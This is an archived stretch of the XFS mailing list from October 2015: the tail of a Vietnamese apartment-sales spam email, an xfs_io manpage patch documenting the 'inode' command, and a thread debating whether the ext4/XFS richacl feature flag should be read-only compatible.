<= font style=3D"background-color: rgb(255,255,0)" color=3D"#ff0000">(Ch&= #7881; cần giới thiệu bạn bè, =C4=91= 891;ng nghiệp sở hữu c=C4=83n hộ là Qu&= yacute; khách sẽ nhận ngay 1 chỉ vàng = 9999, =C4=91=C4=83ng ký ngay 0906.734.728)

&nbs= p;

HoREA - SẮP MỞ BÁN KHU C=C4=82= N HỘ BIỆT LẬP VEN SÔNG Q7 AN GIA SKYLINE<= span lang=3D"EN-US"> 

<= br />CUỘC SỐNG =C4= =90ẲNG CẤP NGAY KHU =C4=90Ô THỊ S= 846;M UẤT NHẤT TPHCM - PHÚ MỸ H=C6=AFNG 

VỚI THANH TOÁN CH&#= 7880; TỪ 333 TR/C=C4=82N 2 PN= – 1WC


=

+ Diện tích: từ 58 m2 =C4=91&#= 7871;n 112 m2 =C4=91=C6=B0ợc thiết kế thô= ng minh từ 2-3 PN.
+ Cách Phú Mỹ H=C6=B0= ng chỉ vài b=C6=B0ớc chân.
=20

+ Ng= ay mặt tiền sông Sài Gòn dài 1,= 5km

+ C&= aacute;ch trung tâm hành chính Q1 chỉ 15 ph&= uacute;t xe máy.

+ Nằm trong khu ph= 913;c hợp La Casa.
+ View sông Sài Gòn = rộng 1.5 cây số.
+ View cực =C4=91ẹ= p – nhìn về hồ cảnh quan Skypearl 7000m= 2

+ =C4=90ặc biệt hồ = b=C6=A1i Aquagym – c=C6=B0 dân trong c=C4=83n hộ s&#= 7869; vừa =C4=91=C6=B0ợc b=C6=A1i vừa =C4=91=C6=B0&#= 7907;c chạy bộ - tiện ích này chỉ= ; có ở n=C6=B0ớc ngoài và ch=C6=B0a t= ừng có tại Việt Nam.

 Thanh toán 20% nh&= #7853;n nhà

 =

 =20

= Quý khách có thể =C4=91iền thôn= g tin theo form mẫu nhằm bảo mật =C4=91ể= tránh bị =C4=91ánh cắp: 

Xem Nhà Nh= ận Quà 

Tham quan thực tế &= ; trở thành 20 chủ nhân cuối cùn= g nhận 10 chỉ vàng của dự án An = Gia Skyline

LIÊN HỆ =C4=90=C4=82NG K= Ý & NHẬN BÁO GIÁ MỚI NHẤTHOTLINE: 0906.734.728

&nbs= p;

= (Xin lỗi quý khách =C4=91ã l&agra= ve;m phiền, nếu quý khách không muN= 89;n nhận mail quý khách vui lòng phả= n hồi)  

=  

--LlxTB2Y01Tf8XU2xD2f1YwzzmLA4cM=_Uy0-- From cmaiolino@redhat.com Mon Oct 19 09:15:48 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 47CE07F54 for ; Mon, 19 Oct 2015 09:15:48 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id C0C25AC004 for ; Mon, 19 Oct 2015 07:15:47 -0700 (PDT) X-ASG-Debug-ID: 1445264143-04cbb035acb2110001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id sf4tXVM8jQBzWlP9 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Mon, 19 Oct 2015 07:15:43 -0700 (PDT) X-Barracuda-Envelope-From: cmaiolino@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 00D42C0B786B for ; Mon, 19 Oct 2015 14:15:42 +0000 (UTC) Received: from zion.usersys.redhat.com (dhcp-26-103.brq.redhat.com [10.34.26.103]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9JEFfhm032330 for ; Mon, 19 Oct 2015 10:15:42 -0400 From: Carlos Maiolino To: xfs@oss.sgi.com Subject: [PATCH] xfs_io: inode command manpage V1 Date: Mon, 19 Oct 2015 16:15:37 +0200 X-ASG-Orig-Subj: [PATCH] xfs_io: inode command manpage V1 Message-Id: <1445264137-329-1-git-send-email-cmaiolino@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445264143 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 This is the first try to update xfs_io manpage to include information about 'inode' command usage. Improvements and grammar corrections are welcome :-) Signed-off-by: Carlos Maiolino --- man/man8/xfs_io.8 | 24 ++++++++++++++++++++++++ 1 file changed, 24 insertions(+) diff --git a/man/man8/xfs_io.8 b/man/man8/xfs_io.8 index 416206f..457f0eb 100644 --- a/man/man8/xfs_io.8 +++ b/man/man8/xfs_io.8 @@ -490,7 +490,31 @@ Recursively display all the specified segments starting at the specified .B \-s Display the starting lseek(2) offset. This offset will be a calculated value when both data and holes are displayed together or performing a recusively display. +.RE +.PD +.TP +.TP +.BI "inode \-s | \-l | \-n [num] | [num]" +Query physical inode information from a xfs filesystem. +.RS 1.0i +.PD 0 +.TP 0.4i +.B \-s +Display the physical size of the largest inode existing in the filesystem (32 or +64 bit). +.TP +.B -l +Display the largest allocated and used inode (inodes can be allocated in the +filesystem, but not used by any file). See +.B ikeep +xfs mount option). +.TP +.B -n [num] +Return the next existing inode after [num], even if [num] is not allocated in +the filesystem. .TP +.B [num] +Check if the inode [num] exists or not. .SH MEMORY MAPPED I/O COMMANDS .TP -- 2.4.3 From agruenba@redhat.com Mon Oct 19 10:35:03 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 861817F59 for ; Mon, 19 Oct 2015 10:35:03 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 73A55304053 for ; Mon, 19 Oct 2015 08:35:00 -0700 (PDT) X-ASG-Debug-ID: 1445268895-04cb6c3ceea56b0001-NocioJ Received: from mail-lb0-f172.google.com (mail-lb0-f172.google.com [209.85.217.172]) by cuda.sgi.com with ESMTP id HKf0skJflmqSXMuD (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Mon, 19 Oct 2015 08:34:56 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.85.217.172 Received: by lbcao8 with SMTP id ao8so146517555lbc.3 for ; Mon, 19 Oct 2015 08:34:55 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:date :message-id:subject:from:to:cc:content-type; bh=sfujdjlO3HiYu3HuozDWFA15CSNIo+xVJbWKr3izojU=; b=QE5kbWCmmG2lNTCus3iHa0Bo2OtHoYs7VntKaTYhosFV9WBMY5H+y+U/9FpUjOeLAM 11CwMqegYzgCHUzsHzVbh3+/Y25AISEmT9pkXLSq5rCv7z5a3S+oV9z/COxRwoyDJTwS 0povLpeqpT44oGuqrWxqI6nXY2tfYq/qPT9WF2fWT4UwXHiM4xXqMAdNGFAU24FdHbSo bHCs1I2x0nhlkF5rt4xtEaIb9kaKme0RtFbxwqlZYfoUBsROq/K/XzUMey/BNeXZock+ LnKpuvVz0NVoihHtEK410FMnfYLs/ezpYCW1ivOgbtMz2r7aT1e7y3OkwKJLTEVZ5XFr axqQ== X-Gm-Message-State: ALoCoQku+jnG1GQhZ/n03sOGk3Q9Z+1mQh2LhTa0h/W5S2m+fplX6Xh1f6wqAUzHEGP2CiMuaSYT MIME-Version: 1.0 X-Received: by 10.112.126.8 with SMTP id mu8mr14967783lbb.75.1445268895071; Mon, 19 Oct 2015 08:34:55 -0700 (PDT) Received: by 10.112.53.42 with HTTP; Mon, 19 Oct 2015 08:34:54 -0700 (PDT) In-Reply-To: <5624ED40.7040206@gmail.com> References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> <1445008706-15115-22-git-send-email-agruenba@redhat.com> <5621346E.5000500@gmail.com> <5624ED40.7040206@gmail.com> Date: Mon, 19 Oct 2015 17:34:54 +0200 Message-ID: Subject: Re: [PATCH v11 21/48] ext4: Add richacl feature flag From: Andreas Gruenbacher X-ASG-Orig-Subj: Re: [PATCH v11 21/48] ext4: Add richacl feature flag To: Austin S Hemmelgarn Cc: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4 , xfs@oss.sgi.com, LKML , linux-fsdevel , Linux NFS Mailing List , linux-cifs@vger.kernel.org, Linux API , "Aneesh Kumar K.V" Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-lb0-f172.google.com[209.85.217.172] X-Barracuda-Start-Time: 1445268896 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23629 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Oct 19, 2015 at 3:16 PM, Austin S Hemmelgarn wrote: > On 2015-10-16 13:41, Andreas Gruenbacher wrote: >> >> On Fri, Oct 16, 2015 at 7:31 PM, Austin S Hemmelgarn >> wrote: >>> >>> I would like to re-iterate, on both XFS and ext4, I _really_ think this >>> should be a ro_compat flag, and not an incompat one. If a person has the >>> ability to mount the FS (even if it's a read-only mount), then they by >>> definition have read access to the file or partition that the filesystem >>> is contained in, which means that any ACL's stored on the filesystem are >>> functionally irrelevant, >> >> It is unfortunately not safe to make such a file system accessible to >> other users, so the feature is not strictly read-only compatible. >> > OK, seeing as I wasn't particularly clear as to why I object to this in my > other e-mail, let's try this again. > > Can you please explain exactly why it isn't safe to make such a filesystem > accessible to other users? See here: http://www.spinics.net/lists/linux-ext4/msg49541.html Andreas From ahferroin7@gmail.com Mon Oct 19 11:20:09 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 6AD007F5D for ; Mon, 19 Oct 2015 11:20:09 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id C1849AC001 for ; Mon, 19 Oct 2015 09:20:05 -0700 (PDT) X-ASG-Debug-ID: 1445271603-04cb6c3ceba7210001-NocioJ Received: from mail-io0-f181.google.com (mail-io0-f181.google.com [209.85.223.181]) by cuda.sgi.com with ESMTP id ufvmdwyJNrivD09O (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Mon, 19 Oct 2015 09:20:03 -0700 (PDT) X-Barracuda-Envelope-From: ahferroin7@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.223.181 Received: by iow1 with SMTP id 1so198427515iow.1 for ; Mon, 19 Oct 2015 09:20:03 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=subject:to:references:cc:from:message-id:date:user-agent :mime-version:in-reply-to:content-type; bh=F7W/BO1x1nMM7E1Z5dvNR6qhFXxtIpMEuMunVdvw3es=; b=WjB7HkjSQ7TD2LBvIFMeinN6nQlC7bL9on7sxsggMvDCwFNa1SNnLYxvaafyRzjgwn MHjeHNILzIsvfmUSDjTFzU7nh2KOAGDfIIiTvc/Pkz1iOm9aNsqnZxYTHE0UYqpG80of mtSGCxPxEGGbOBmbJqXQbAR1eLeEj3jQIM5Pm9w39fRpBE8b7LZczXPp1PaTzFMqe0zp iD6bQDa4Qyq6hb5grXVH8pKcN1DZo+/ZxR0JccEF2a6JsedOgbytHCFi9YVd2PwyNQbQ WWOf1ACGozwIab3LwcUxskdHGOWJ3DHtiDKjKXhntfkQIkeIig2bvMfsluxpNflTLiGg dkRw== X-Received: by 10.107.166.79 with SMTP id p76mr3942804ioe.163.1445271603319; Mon, 19 Oct 2015 09:20:03 -0700 (PDT) Received: from [127.0.0.1] (rrcs-70-62-41-24.central.biz.rr.com. [70.62.41.24]) by smtp.googlemail.com with ESMTPSA id qh8sm8015939igb.19.2015.10.19.09.20.01 (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Mon, 19 Oct 2015 09:20:02 -0700 (PDT) Subject: Re: [PATCH v11 21/48] ext4: Add richacl feature flag To: Andreas Gruenbacher X-ASG-Orig-Subj: Re: [PATCH v11 21/48] ext4: Add richacl feature flag References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> <1445008706-15115-22-git-send-email-agruenba@redhat.com> <5621346E.5000500@gmail.com> <5624ED40.7040206@gmail.com> Cc: Alexander Viro , Theodore Ts'o , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4 , xfs@oss.sgi.com, LKML , linux-fsdevel , Linux NFS Mailing List , linux-cifs@vger.kernel.org, Linux API , "Aneesh Kumar K.V" From: Austin S Hemmelgarn Message-ID: <5625182C.3050007@gmail.com> Date: Mon, 19 Oct 2015 12:19:56 -0400 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Thunderbird/38.3.0 MIME-Version: 1.0 In-Reply-To: Content-Type: multipart/signed; protocol="application/pkcs7-signature"; micalg=sha-512; boundary="------------ms070003050802000306030105" X-Antivirus: avast! (VPS 151019-0, 2015-10-19), Outbound message X-Antivirus-Status: Clean X-Barracuda-Connect: mail-io0-f181.google.com[209.85.223.181] X-Barracuda-Start-Time: 1445271603 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23630 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature This is a cryptographically signed message in MIME format. --------------ms070003050802000306030105 Content-Type: text/plain; charset=utf-8; format=flowed Content-Transfer-Encoding: quoted-printable On 2015-10-19 11:34, Andreas Gruenbacher wrote: > On Mon, Oct 19, 2015 at 3:16 PM, Austin S Hemmelgarn > wrote: >> On 2015-10-16 13:41, Andreas Gruenbacher wrote: >>> >>> On Fri, Oct 16, 2015 at 7:31 PM, Austin S Hemmelgarn >>> wrote: >>>> >>>> I would like to re-iterate, on both XFS and ext4, I _really_ think t= his >>>> should be a ro_compat flag, and not an incompat one. If a person ha= s the >>>> ability to mount the FS (even if it's a read-only mount), then they = by >>>> definition have read access to the file or partition that the filesy= stem >>>> is contained in, which means that any ACL's stored on the filesystem= are >>>> functionally irrelevant, >>> >>> It is unfortunately not safe to make such a file system accessible to= >>> other users, so the feature is not strictly read-only compatible. >>> >> OK, seeing as I wasn't particularly clear as to why I object to this i= n my >> other e-mail, let's try this again. >> >> Can you please explain exactly why it isn't safe to make such a filesy= stem >> accessible to other users? > > See here: http://www.spinics.net/lists/linux-ext4/msg49541.html OK, so to clarify, this isn't 'safe' because: 1. The richacls that exist on the filesystem won't be enforced. 2. Newly created files will have no ACL's set. It is worth noting that these are also issues with any kind of access=20 control mechanism. Using your logic, all LSM's need to set separate=20 incompat feature flags in filesystems they are being used on, as should=20 POSIX ACLs, and for that matter so should Samba in many circumstances,=20 and any NFS system not using idmapping or synchronized/centralized user=20 databases. Now, if the SELinux (or SMACK, or TOMOYO) people had taken=20 this approach, then I might be inclined to not complain (at least not to = you, I'd be complaining to them about this rather poor design choice),=20 but that is not the case, because (I assume) they realized that all this = provides is a false sense of security. Issue 1, as I have said before, is functionally irrelevant for anyone=20 who actually knows what they are doing; all you need for ext* is one of=20 the myriad of programs for un-deleting files on such a filesystem (such=20 as ext4magic or extundelete, and good luck convincing them to not allow=20 being used when this flag is set), for BTRFS you just need the regular=20 filesystem administration utilities ('btrfs restore' works wonders, and=20 that one will _never_ honor any kind of permissions, because it's for=20 disaster recovery), and while I don't know of any way to do this with=20 XFS, that is only because I don't use XFS myself and have not had the=20 need to provide tech support for anyone who does. If somebody=20 absolutely _needs_ a guarantee that the acls will be enforced, they need = to be using whole disk encryption, not just acls, and even that can't=20 provide such a guarantee. As for issue 2, that can be solved by making it a read-only compatible=20 flag, which is what I was suggesting be done in the first place. The=20 only situation I can think of that this would cause an issue for is if=20 the filesystem was not cleanly unmounted, and the log-replay doesn't set = the ACL's, but mounting an uncleanly unmounted filesystem that has=20 richacls on a kernel without support should fall into one of the=20 following 2 cases more than 99% of the time: 1. The system crashed hard, and the regular kernel is un-bootable for=20 some reason, in this case you're at the point of disaster recovery,=20 should not be exposing _anything_ to a multi-user environment, and=20 probably care a lot more about being able to get the system running=20 again than about not accidentally creating a file with a missing ACL. 2. The filesystem was maliciously stolen in some way (either the=20 hardware was acquired, or more likely, someone got an image of a still=20 mounted filesystem), in which case all of my statements above regarding=20 issue 1 apply. --------------ms070003050802000306030105 Content-Type: application/pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" Content-Description: S/MIME Cryptographic Signature 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 cnQub3JnMSIwIAYDVQQDExlDQSBDZXJ0IFNpZ25pbmcgQXV0aG9yaXR5MSEwHwYJKoZIhvcN AQkBFhJzdXBwb3J0QGNhY2VydC5vcmcCAxEt+DANBglghkgBZQMEAgMFAKCCAiEwGAYJKoZI hvcNAQkDMQsGCSqGSIb3DQEHATAcBgkqhkiG9w0BCQUxDxcNMTUxMDE5MTYxOTU2WjBPBgkq hkiG9w0BCQQxQgRAfC+gD4JHtSqkBVo4Uo2fM9IhhiB/VP79yU7hftrGucAlQ8sWak5Fc75t foKee/4RQUokGo2Rhum3jYMn9QUxuDBsBgkqhkiG9w0BCQ8xXzBdMAsGCWCGSAFlAwQBKjAL BglghkgBZQMEAQIwCgYIKoZIhvcNAwcwDgYIKoZIhvcNAwICAgCAMA0GCCqGSIb3DQMCAgFA MAcGBSsOAwIHMA0GCCqGSIb3DQMCAgEoMIGRBgkrBgEEAYI3EAQxgYMwgYAweTEQMA4GA1UE ChMHUm9vdCBDQTEeMBwGA1UECxMVaHR0cDovL3d3dy5jYWNlcnQub3JnMSIwIAYDVQQDExlD QSBDZXJ0IFNpZ25pbmcgQXV0aG9yaXR5MSEwHwYJKoZIhvcNAQkBFhJzdXBwb3J0QGNhY2Vy dC5vcmcCAxEt+DCBkwYLKoZIhvcNAQkQAgsxgYOggYAweTEQMA4GA1UEChMHUm9vdCBDQTEe MBwGA1UECxMVaHR0cDovL3d3dy5jYWNlcnQub3JnMSIwIAYDVQQDExlDQSBDZXJ0IFNpZ25p bmcgQXV0aG9yaXR5MSEwHwYJKoZIhvcNAQkBFhJzdXBwb3J0QGNhY2VydC5vcmcCAxEt+DAN BgkqhkiG9w0BAQEFAASCAgBR0bu7sMjL43EBbSzC72JYWjlFdYJJ61yr/YlC9Ot5dASTKiPd YSFBqhutOQHvWZ17Q84t9cig/XxSX4KX9VSckl6MRU9Fo/y7A0q7xbfSl90N3jcUhhE/flRX 29BIoQbRuDigPgTJaQoIhW3hfoA5ZscfUCDHlBGXmnAZ+kWwqGWzMZL3IOPl1ZUKqfY6NfYQ YSjJ65aizDJjIqpgnRQIUNXVJ14hg/GBEM/6n2H3sFEDGtVM+fw2ehICKT99LyYueB/fB+iG vYWeSOzc18HwIAUu2c3SVi9mPRWNHtXES8ajqkS4eQsNGPpQfMq8ZbOMPizz2r0chYe74tXc VxguvDf2kFUFTFzCDV7PNMS+TlVL8By22g3R7ifrNcBW7SP77FI2UMsm53/BfaMOSDp3VDrG 12LAuyk4rACHrCp4YUxwfwzfhX8HmfZbbJS4vRXeBIuXT+S8BDAe34rmIEvUb566Ixaxzrh7 ttWEtfn6a2xPQvkBNNcANgNVRWsTC4Qj/e5UFuhTsVAq+0yfcSglZOuo6g6jyp2iU+PRQNt9 qO5pxFUDgJvGgSTIGJzQ97DNPo3GlDKZBvzyooDAZAcutyxKpvBeYsjw+63bpGU0Xk70MZrG b8qPTEhBxhWlklqYcd+kiuX8SulzlvyDKmSGJSGHJVH0KFTqWV3gcuYx3wAAAAAAAA== --------------ms070003050802000306030105-- From agruenba@redhat.com Mon Oct 19 12:33:30 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id DFFEE7F5F for ; Mon, 19 Oct 2015 12:33:29 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 400B3AC002 for ; Mon, 19 Oct 2015 10:33:26 -0700 (PDT) X-ASG-Debug-ID: 1445275999-04cb6c3cebaa220001-NocioJ Received: from mail-lb0-f172.google.com (mail-lb0-f172.google.com [209.85.217.172]) by cuda.sgi.com with ESMTP id dDnYC8M2XlaLnmZd (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Mon, 19 Oct 2015 10:33:20 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.85.217.172 Received: by lbbwb3 with SMTP id wb3so88289673lbb.1 for ; Mon, 19 Oct 2015 10:33:19 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:date :message-id:subject:from:to:cc:content-type; bh=OB6AmIwkvp3kwhBEfz+0Q5z/oEqbK1gFgoFTltUeQaA=; b=iEAK467lDof4qdqx26EI5PuRQ5hLG1XdR/YXKEZ0JghITdLsn0uUf6BDi52L+WIYMj mZ08+kc8zYE++OomRHDXKY9z5VaNfGcKD/nRKIS2jXe0qCg0xtJOkrFjvWK0ft3TG01E rwxpSSufIL4oxIDbDFf/ieYc592gMiXbj0RzdY/2Og7Ie/YuDSsKhPPZWFn3fh1DmQEQ LDfc78cKBBjpUF+F9qyHkZKiJnBI3cwQ1KXvnLckS8tu9vLhp+/7XdsApDviyf/at1cJ 1RRwnVmDYLB04M4Ea13C4To/fIVGdtmL+8y95oEND7bxq8g407JgNtfqNaaIBVkCoaLj rFyg== X-Gm-Message-State: ALoCoQkMsAPXhhN5k+FsWHp6rmseGyIojnf1InpH2j/LQOxpOigKH68eg5ofNcWh33y2DX8FrQod MIME-Version: 1.0 X-Received: by 10.112.236.8 with SMTP id uq8mr3655813lbc.116.1445275999129; Mon, 19 Oct 2015 10:33:19 -0700 (PDT) Received: by 10.112.53.42 with HTTP; Mon, 19 Oct 2015 10:33:19 -0700 (PDT) In-Reply-To: <5625182C.3050007@gmail.com> References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> <1445008706-15115-22-git-send-email-agruenba@redhat.com> <5621346E.5000500@gmail.com> <5624ED40.7040206@gmail.com> <5625182C.3050007@gmail.com> Date: Mon, 19 Oct 2015 19:33:19 +0200 Message-ID: Subject: Re: [PATCH 